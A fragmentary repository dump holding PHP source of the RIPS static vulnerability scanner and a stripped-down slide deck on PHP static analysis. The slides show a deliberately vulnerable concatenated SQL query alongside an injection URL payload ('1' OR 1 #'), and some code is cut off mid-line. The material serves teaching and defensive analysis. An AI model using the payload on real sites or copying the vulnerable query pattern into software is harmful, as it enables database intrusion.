)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(isset($this->tokens[$i][3]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(!is_array($this->tokens[$i][3][0]))\n\t\t\t\t\t\t\t\t$GLOBALS['user_input'][$token_value.'['.$this->tokens[$i][3][0].']'][$this->file_pointer][] = $line_nr;\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t$GLOBALS['user_input'][$token_value.'['.Analyzer::get_tokens_value(\n\t\t\t\t\t\t\t\t\t$this->file_pointer,\n\t\t\t\t\t\t\t\t\t$this->tokens[$i][3][0],\n\t\t\t\t\t\t\t\t\t$this->in_function ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t\t\t\t$i\n\t\t\t\t\t\t\t\t).']'][$this->file_pointer][] = $line_nr;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$GLOBALS['user_input'][$token_value][$this->file_pointer][] = $line_nr;\n\n\t\t\t\t\t\t// count found userinput in function for graphs\n\t\t\t\t\t\tif($this->in_function)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$GLOBALS['user_functions_offset'][$this->function_obj->name][5]++;\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$GLOBALS['user_functions_offset']['__main__'][5]++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// check if token is a function call and a function to scan\n\t\t\t\t// do not check if next token is '(' because: require $inc; does not use ()\n\t\t\t\telse if( in_array($token_name, Tokens::$T_FUNCTIONS)\n\t\t\t\t|| (in_array($token_name, Tokens::$T_XSS) && ($_POST['vector'] == 'client' || $_POST['vector'] == 'xss' || $_POST['vector'] == 'all')) )\n\t\t\t\t{\n\t\t\t\t\t$class='';\n\t\t\t\t\t/*************************\n\t\t\t\t\t\t\tT_STRING\n\t\t\t\t\t*************************/\n\t\t\t\t\tif($token_name === T_STRING && $this->tokens[$i+1] === '(')\n\t\t\t\t\t{\n\t\t\t\t\t\t// define(\"FOO\", $_GET['asd']);\n\t\t\t\t\t\tif($token_value === 'define')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$c=1;\n\t\t\t\t\t\t\twhile($this->tokens[$i+$c] !== ',')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$c++;\n\n\t\t\t\t\t\t\t\tif($this->tokens[$i+$c] === ';' || !isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\taddError('Second parameter of define() is missing.', array_slice($this->tokens, $i, $c), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\tstr_replace(array('\"',\"'\"), '', $this->tokens[$i+2][1]),\n\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i, Analyzer::getBraceEnd($this->tokens, $i)+1),\n\t\t\t\t\t\t\t\t' define() ',\n\t\t\t\t\t\t\t\t$c, 0,\n\t\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t\t$i\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// ini_set()\n\t\t\t\t\t\telse if($token_value === 'ini_set')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$setting = str_replace(array(\"'\", '\"'), '', $this->tokens[$i+2][1]);\n\t\t\t\t\t\t\t// ini_set('include_path', 'foo/bar')\n\t\t\t\t\t\t\tif ($setting === 'include_path')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$path = Analyzer::get_tokens_value(\n\t\t\t\t\t\t\t\t\t$this->file_pointer,\n\t\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i+4,Analyzer::getBraceEnd($this->tokens, $i+4)+1),\n\t\t\t\t\t\t\t\t\t$this->in_function ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t\t\t\t$i\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t$this->include_paths = array_unique(array_merge($this->include_paths, Analyzer::get_ini_paths($path)));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// set_include_path('foo/bar')\n\t\t\t\t\t\telse if($token_value === 'set_include_path')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$path = Analyzer::get_tokens_value(\n\t\t\t\t\t\t\t\t$this->file_pointer,\n\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i+1,Analyzer::getBraceEnd($this->tokens, $i+1)+1),\n\t\t\t\t\t\t\t\t$this->in_function ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t\t\t$i\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t$this->include_paths = array_unique(array_merge($this->include_paths, Analyzer::get_ini_paths($path)));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// treat error handler as called function\n\t\t\t\t\t\telse if($token_value === 'set_error_handler')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$token_value = str_replace(array('\"',\"'\"), '', $this->tokens[$i+2][1]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// $array = compact(\"event\", \"city\");\n\t\t\t\t\t\telse if($token_value === 'compact'\n\t\t\t\t\t\t&& $this->tokens[$i-2][0] === T_VARIABLE)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$f=2;\n\t\t\t\t\t\t\twhile( $this->tokens[$i+$f] !== ')' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// for all array keys save new variable declarations\n\t\t\t\t\t\t\t\tif($this->tokens[$i+$f][0] === T_CONSTANT_ENCAPSED_STRING)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i-2][1], array(\n\t\t\t\t\t\t\t\t\t\t\tarray( T_VARIABLE, $this->tokens[$i-2][1], $line_nr, array(str_replace(array('\"',\"'\"),'',$this->tokens[$i+$f][1])) ),\n\t\t\t\t\t\t\t\t\t\t\t'=',\n\t\t\t\t\t\t\t\t\t\t\tarray(T_VARIABLE, '$'.str_replace(array('\"',\"'\"), '', $this->tokens[$i+$f][1]), $line_nr),\n\t\t\t\t\t\t\t\t\t\t\t';'\n\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t' compact() ',\n\t\t\t\t\t\t\t\t\t\t2, 0,\n\t\t\t\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i-2][3],\n\t\t\t\t\t\t\t\t\t\tstr_replace(array('\"',\"'\"),'',$this->tokens[$i+$f][1])\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$f++;\n\n\t\t\t\t\t\t\t\tif($this->tokens[$i+$f] === ';' || !isset($this->tokens[$i+$f]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\taddError('Closing parenthesis of compact() is missing.', array_slice($this->tokens, $i, $f), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// preg_match($regex, $source, $matches), save $matches as var declare\n\t\t\t\t\t\telse if($token_value === 'preg_match' || $token_value === 'preg_match_all')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$c = 2;\n\t\t\t\t\t\t\t$parameter = 1;\n\t\t\t\t\t\t\t$newbraceopen = 1;\n\n\t\t\t\t\t\t\twhile( $newbraceopen !== 0 )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif( is_array($this->tokens[$i + $c])\n\t\t\t\t\t\t\t\t&& $this->tokens[$i + $c][0] === T_VARIABLE && $parameter == 3)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// add variable declaration to beginning of varlist\n\t\t\t\t\t\t\t\t\t// fake assignment parameter so it will not get traced\n\t\t\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i + $c][1],\n\t\t\t\t\t\t\t\t\t\tarray_slice($this->tokens,$i,Analyzer::getBraceEnd($this->tokens,$i+2)+3),\n\t\t\t\t\t\t\t\t\t\t' preg_match() ',\n\t\t\t\t\t\t\t\t\t\t0, $c-1,\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i + $c][2],\n\t\t\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\t\t\tisset($this->tokens[$i+$c][3]) ? $this->tokens[$i+$c][3] : array()\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// count parameters\n\t\t\t\t\t\t\t\telse if( $newbraceopen === 1 && $this->tokens[$i + $c] === ',' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$parameter++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// watch function calls in function call\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === '(' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === ')' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if($this->tokens[$i+$c] === ';' || !isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\taddError('Closing parenthesis of '.$token_value.'() is missing.', array_slice($this->tokens, $i, $c), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$c++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// import_request_variables()\n\t\t\t\t\t\telse if($token_value === 'import_request_variables')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// add register_globals implementation\n\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t'register_globals',\n\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i, Analyzer::getBraceEnd($this->tokens, $i+1)+1),\n\t\t\t\t\t\t\t\t'register_globals implementation',\n\t\t\t\t\t\t\t\t0, 0,\n\t\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array()\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// parse_str()\n\t\t\t\t\t\telse if($token_value === 'parse_str')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$c = 2;\n\t\t\t\t\t\t\t$parameter = 1;\n\t\t\t\t\t\t\t$newbraceopen = 1;\n\n\t\t\t\t\t\t\twhile( $newbraceopen !== 0 )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif( is_array($this->tokens[$i + $c])\n\t\t\t\t\t\t\t\t&& $this->tokens[$i + $c][0] === T_VARIABLE && $parameter == 2)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// add variable declaration to beginning of varlist\n\t\t\t\t\t\t\t\t\t// fake assignment parameter so it will not get traced\n\t\t\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i + $c][1],\n\t\t\t\t\t\t\t\t\t\tarray_slice($this->tokens,$i,Analyzer::getBraceEnd($this->tokens,$i+2)+3),\n\t\t\t\t\t\t\t\t\t\t' parse_str() ',\n\t\t\t\t\t\t\t\t\t\t0, $c-1,\n\t\t\t\t\t\t\t\t\t\t$this->tokens[$i + $c][2],\n\t\t\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\t\t\tisset($this->tokens[$i+$c][3]) ? $this->tokens[$i+$c][3] : array()\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// count parameters\n\t\t\t\t\t\t\t\telse if( $newbraceopen === 1 && $this->tokens[$i + $c] === ',' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$parameter++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// watch function calls in function call\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === '(' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === ')' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newbraceopen--;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if($this->tokens[$i+$c] === ';' || !isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\taddError('Closing parenthesis of '.$token_value.'() is missing.', array_slice($this->tokens, $i, $c), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$c++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t//add interesting function calls to info gathering\n\t\t\t\t\t\tif( isset($this->info_functions[$token_value]) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$GLOBALS['info'][] = $this->info_functions[$token_value];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// watch constructor calls $var = Classname($constructor_param);\n\t\t\t\t\t\telse if( $this->tokens[$i-1][0] !== T_NEW && isset($this->vuln_classes[$token_value]) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->class_vars[ $this->tokens[$i-2][1] ] = $token_value;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// add function call to user-defined function list\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// $classvar->bla()\n\t\t\t\t\t\t\tif($this->tokens[$i-1][0] === T_OBJECT_OPERATOR)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$classvar = $this->tokens[$i-2][1];\n\t\t\t\t\t\t\t\tif($classvar[0] !== '$')\n\t\t\t\t\t\t\t\t\t$classvar = '$'.$classvar;\n\t\t\t\t\t\t\t\t$class = ($classvar === '$this' || $classvar === '$self') ? $this->class_name : $this->class_vars[$classvar];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// CLASS::func()\n\t\t\t\t\t\t\telse if($this->tokens[$i-1][0] === T_DOUBLE_COLON)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$class = $this->tokens[$i-2][1];\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// save function call for graph\n\t\t\t\t\t\t\tif(isset($GLOBALS['user_functions_offset'][($class?$class.'::':'').$token_value]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$GLOBALS['user_functions_offset'][($class?$class.'::':'').$token_value][3][] = array($this->file_pointer, $line_nr);\n\n\t\t\t\t\t\t\t\tif($this->in_function)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$GLOBALS['user_functions_offset'][$this->function_obj->name][4][] = $token_value;\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$GLOBALS['user_functions_offset']['__main__'][4][] = $token_value;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// check if token is function call that affects variable scope (global)\n\t\t\t\t\t\t\tif( isset($this->globals_from_function[$token_value]) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// put all previously saved global var assignments to global scope\n\t\t\t\t\t\t\t\tforeach($this->globals_from_function[$token_value] as $var_name=>$new_vars)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tforeach($new_vars as $new_var)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$new_var->comment = $new_var->comment . \" by $token_value()\";\n\t\t\t\t\t\t\t\t\t\tif(!isset($this->var_declares_global[$var_name]))\n\t\t\t\t\t\t\t\t\t\t\t$this->var_declares_global[$var_name] = array($new_var);\n\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\tarray_unshift($this->var_declares_global[$var_name], $new_var);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t/*************************\n\t\t\t\t\t\tFILE INCLUSION\n\t\t\t\t\t*************************/\n\t\t\t\t\t// include tokens from included files\n\t\t\t\t\telse if( in_array($token_name, Tokens::$T_INCLUDES) && !$this->in_function)\n\t\t\t\t\t{\n\t\t\t\t\t\t$GLOBALS['count_inc']++;\n\t\t\t\t\t\t// include('xxx')\n\t\t\t\t\t\tif ( (($this->tokens[$i+1] === '('\n\t\t\t\t\t\t\t&& $this->tokens[$i+2][0] === T_CONSTANT_ENCAPSED_STRING\n\t\t\t\t\t\t\t&& $this->tokens[$i+3] === ')')\n\t\t\t\t\t\t// include 'xxx'\n\t\t\t\t\t\t|| (is_array($this->tokens[$i+1])\n\t\t\t\t\t\t\t&& $this->tokens[$i+1][0] === T_CONSTANT_ENCAPSED_STRING\n\t\t\t\t\t\t\t&& $this->tokens[$i+2] === ';' )) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// include('file')\n\t\t\t\t\t\t\tif($this->tokens[$i+1] === '(')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$inc_file = substr($this->tokens[$i+2][1], 1, -1);\n\t\t\t\t\t\t\t\t$skip = 5;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// include 'file'\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$inc_file = substr($this->tokens[$i+1][1], 1, -1);\n\t\t\t\t\t\t\t\t$skip = 3;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// dynamic include\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$inc_file = Analyzer::get_tokens_value(\n\t\t\t\t\t\t\t\t$this->file_pointer,\n\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i+1, $c=Analyzer::getBraceEnd($this->tokens, $i+1)+1),\n\t\t\t\t\t\t\t\t$this->in_function ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t\t\t$i\n\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\t// in case the get_var_value added several php files, take the first\n\t\t\t\t\t\t\t$several = explode('.php', $inc_file);\n\t\t\t\t\t\t\tif(count($several) > 1)\n\t\t\t\t\t\t\t\t$try_file = $several[0] . '.php';\n\n\t\t\t\t\t\t\t$skip = $c+1; // important to save $c+1 here\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$try_file = $inc_file;\n\n\t\t\t\t\t\t// try absolute include path\n\t\t\t\t\t\tforeach($this->include_paths as $include_path)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(is_file(\"$include_path/$try_file\"))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$try_file = \"$include_path/$try_file\";\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// if dirname(__FILE__) appeared it was an absolute path\n\t\t\t\t\t\tif(!is_file($try_file))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// check relativ path\n\t\t\t\t\t\t\t$try_file = dirname($this->file_name). '/' . $inc_file;\n\n\n\t\t\t\t\t\t\tif(!is_file($try_file))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$other_try_file = dirname($this->file_pointer). '/' . $inc_file;\n\n\t\t\t\t\t\t\t\t// if file can not be found check include_path if set\n\t\t\t\t\t\t\t\tif(!is_file($other_try_file))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif(isset($this->include_paths[0]))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tforeach($this->include_paths as $include_path)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif(is_file(dirname($this->file_name).'/'.$include_path.'/'.$inc_file))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$try_file = dirname($this->file_name).'/'.$include_path.'/'.$inc_file;\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse if(is_file(dirname($this->file_pointer).'/'.$include_path.'/'.$inc_file))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$try_file = dirname($this->file_pointer).'/'.$include_path.'/'.$inc_file;\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// if still not a valid file, look a directory above\n\t\t\t\t\t\t\t\t\tif(!is_file($try_file))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$try_file = str_replace('\\\\', '/', $try_file);\n\t\t\t\t\t\t\t\t\t\t$pos = strlen($try_file);\n\t\t\t\t\t\t\t\t\t\t// replace each found / with /../, start from the end of file name\n\t\t\t\t\t\t\t\t\t\tfor($c=1; $c
\";\t\t//hide metadata\n\n\t\t\tfor($fit=0; $fit<$file_amount; $fit++)\n\t\t\t{\n\t\t\t\t// for scanning display\n\t\t\t\t$thisfile_start = microtime(TRUE);\n\t\t\t\t$file_scanning = $files[$fit];\n\n\t\t\t\techo ($fit) . '|' . $file_amount . '|' . $file_scanning . '|' . $timeleft . '|' . \"\\n\";\n\t\t\t\t@ob_flush();\n\t\t\t\tflush();\n\n\t\t\t\t// scan\n\t\t\t\t$scan = new Scanner($file_scanning, $scan_functions, $info_functions, $source_functions);\n\t\t\t\t$scan->parse();\n\t\t\t\t$scanned_files[$file_scanning] = $scan->inc_map;\n\n\t\t\t\t$overall_time += microtime(TRUE) - $thisfile_start;\n\t\t\t\t// timeleft = average_time_per_file * file_amount_left\n\t\t\t\t$timeleft = round(($overall_time/($fit+1)) * ($file_amount - $fit+1),2);\n\t\t\t}\n\t\t\t#die(\"done\");\n\t\t\techo \"STATS_DONE.\\n\";\n\t\t\tif (defined(\"MODE_CLI\"))\n\t\t\t\techo \"\\n
\";\t\t//hide metadata\n\t\t\t@ob_flush();\n\t\t\tflush();\n\n\t\t}\n\t\t// SEARCH\n\t\telse if(!empty($_POST['regex']))\n\t\t{\n\t\t\t$count_matches = 0;\n\t\t\t$verbosity = 0;\n\t\t\tforeach($files as $file_name)\n\t\t\t{\n\t\t\t\tsearchFile($file_name, $_POST['regex']);\n\t\t\t}\n\t\t}\n\t}\n\n\t$elapsed = microtime(TRUE) - $start;\n\n\t################################ RESULT #################################\n?>\n\n\t\n\n\t
\n\n\n\t
\n\n\t\n\t\t\n\t\t\n\t
\n\t\n\t\n\t↵ return
\n\t\n\n\t\n\t\n\t\n
\n\n\n\t\n\t
\n\n\n\t\t
\n\t\n\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t(graph not available in debug mode)'; ?>\n\t\t
\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t
\n\n\n\t\t\n\t
\n\t\n\n\t\n\t
\n\n\n\t\t
\n\t\n\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t
\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n
\n\n\n\t\n\t\t
\n\t
\n\t\n 0)\n\t\t{\n\t\t\tif($count_code > 0)\n\t\t\t\tstatsRow(1, $NAME_CODE, $count_code, $count_all);\n\t\t\tif($count_exec > 0)\n\t\t\t\tstatsRow(2, $NAME_EXEC, $count_exec, $count_all);\n\t\t\tif($count_con > 0)\n\t\t\t\tstatsRow(3, $NAME_CONNECT, $count_con, $count_all);\n\t\t\tif($count_fr > 0)\n\t\t\t\tstatsRow(4, $NAME_FILE_READ, $count_fr, $count_all);\n\t\t\tif($count_fi > 0)\n\t\t\t\tstatsRow(5, $NAME_FILE_INCLUDE, $count_fi, $count_all);\n\t\t\tif($count_fa > 0)\n\t\t\t\tstatsRow(6, $NAME_FILE_AFFECT, $count_fa, $count_all);\n\t\t\tif($count_ldap > 0)\n\t\t\t\tstatsRow(7, $NAME_LDAP, $count_ldap, $count_all);\n\t\t\tif($count_sqli > 0)\n\t\t\t\tstatsRow(8, $NAME_DATABASE, $count_sqli, $count_all);\n\t\t\tif($count_xpath > 0)\n\t\t\t\tstatsRow(9, $NAME_XPATH, $count_xpath, $count_all);\n\t\t\tif($count_xss > 0)\n\t\t\t\tstatsRow(10, $NAME_XSS, $count_xss, $count_all);\n\t\t\tif($count_header > 0)\n\t\t\t\tstatsRow(11, $NAME_HTTP_HEADER, $count_header, $count_all);\n\t\t\tif($count_sf > 0)\n\t\t\t\tstatsRow(12, $NAME_SESSION_FIXATION, $count_sf, $count_all);\n\t\t\tif($count_other > 0)\n\t\t\t\tstatsRow(13, $NAME_OTHER, $count_other, $count_all);\n\t\t\tif($count_ri > 0)\n\t\t\t\tstatsRow(14, $NAME_REFLECTION, $count_ri, $count_all);\n\t\t\tif($count_pop > 0)\n\t\t\t\tstatsRow(15, $NAME_POP, $count_pop, $count_all);\n\t\t\techo '
',\n\t\t'
';\n\n\t\t// output info gathering\n\t\tif( !empty($info) || ($count_inc>0 && $round_inc_success < 75 && !$scan_subdirs && count($files)>1) )\n\t\t{\n\t\t\t$info = array_unique($info);\n\t\t\techo '';\n\t\t\tforeach($info as $detail)\n\t\t\t{\n\t\t\t\techo '
';\n\t\t}\n\n\t\techo 'Get the next generation of RIPS
with state-of-the-art code analysis!
';\n\t}\n\t\t?>\n\t\t\n\t\t
\n\n
\n\n\n"
},
{
"path": "papers/LCA 2012_ PHP Static Code Analysis.html",
"content": "\n\n\n\n | Result | \n\t\t\t\n\t\t |
|---|
\n\t
| Sum: | ',$count_all,' |
| No vulnerabilities found. | |
| ',(($count_matches == 0) ? 'No' : $count_matches),' matches found. |
| Scanned files: | ',count($files),' | |
| Include success: | ';\n\n\t\tif($count_inc > 0)\n\t\t{\n\t\t\techo ($count_inc_success=$count_inc-$count_inc_fail).'/'.$count_inc,\n\t\t\t' ('.$round_inc_success=round(($count_inc_success/$count_inc)*100,0).'%)';\n\t\t} else\n\t\t{\n\t\t\techo 'No includes.';\n\t\t}\n\n\t\techo ' | |
| Considered sinks: | ',count($scan_functions),' | ';\n\t\tif(empty($_POST['search']) && $count_all > 0)\n\t\t{\n\t\t\techo '';\n\t\t}\n\t\techo ' |
| User-defined functions: | '.(count($user_functions_offset)-(count($user_functions_offset)>0?1:0)).' | |
| Unique sources: | '.count($user_input).' | |
| Sensitive sinks: | '.(is_array($file_sinks_count) ? array_sum($file_sinks_count) : 0).' |
';\n\n\t\t// output info gathering\n\t\tif( !empty($info) || ($count_inc>0 && $round_inc_success < 75 && !$scan_subdirs && count($files)>1) )\n\t\t{\n\t\t\t$info = array_unique($info);\n\t\t\techo '
| Info: | ',$detail,' |
| Info: | Your include success is low. Enable subdirs for better filename guesses. |
';\n\t\t}\n\n\t\techo '
with state-of-the-art code analysis!
';\n\t}\n\t\t?>\n\t\t
| Scan time: |
\n\t\t\tVulnerabilities crash course\n\t\t
\n\t\n\t\t\tUnsanitized user input\n\t\t
\n\t\n\t\t\tQuick quiz:\n\t\t
\n\t\t\n\t\t\tWhat happens next?\n\t\t
\n\t\t$id = $_GET['id']; \n$username = \"user\" . $id;\nmysqli_query( \"\n\tSELECT * \n\tFROM Users \n\tWHERE Username = '\" . $username . \"' AND Valid = 1\" );\n\t\t\n\t
\n\t\t\t![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/balrog.jpg\")
\n\t\t
\n\t\t\tSource: http://lotr.wikia.com\n\t\t
\n\t\n\t\t\tProblem:\n\t\t
\n\t\t\n\t\t\t\t
\n\t\t\t\t\thttp://example.com/?id=1' OR 1 #\n\t\t\t\t
\n\t\t\t\t$id = $_GET['id']; \n$username = \"user\" . $id;\nmysqli_query( \"\n\tSELECT * \n\tFROM Users \n\tWHERE Username = '\" . $username . \"' AND Valid = 1\" );\n\t\t\t\t\n\t\t\t\t
SELECT * \nFROM Users \nWHERE Username = 'user1' OR 1 # AND Valid = 1\"\n\t\t\t\t\n\t\t\n\t
\n\t\t\t![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/xkcd-sql.png\")
\n\t\t
\n\t\t\tSource: http://xkcd.com/327
\n\t\t\ttitle=\"Her daughter is named Help I'm trapped in a driver's license factory.\"\n\t\t
\n\t\n\t\t\ttitle=\"Her daughter is named Help I'm trapped in a driver's license factory.\"\n\t\t
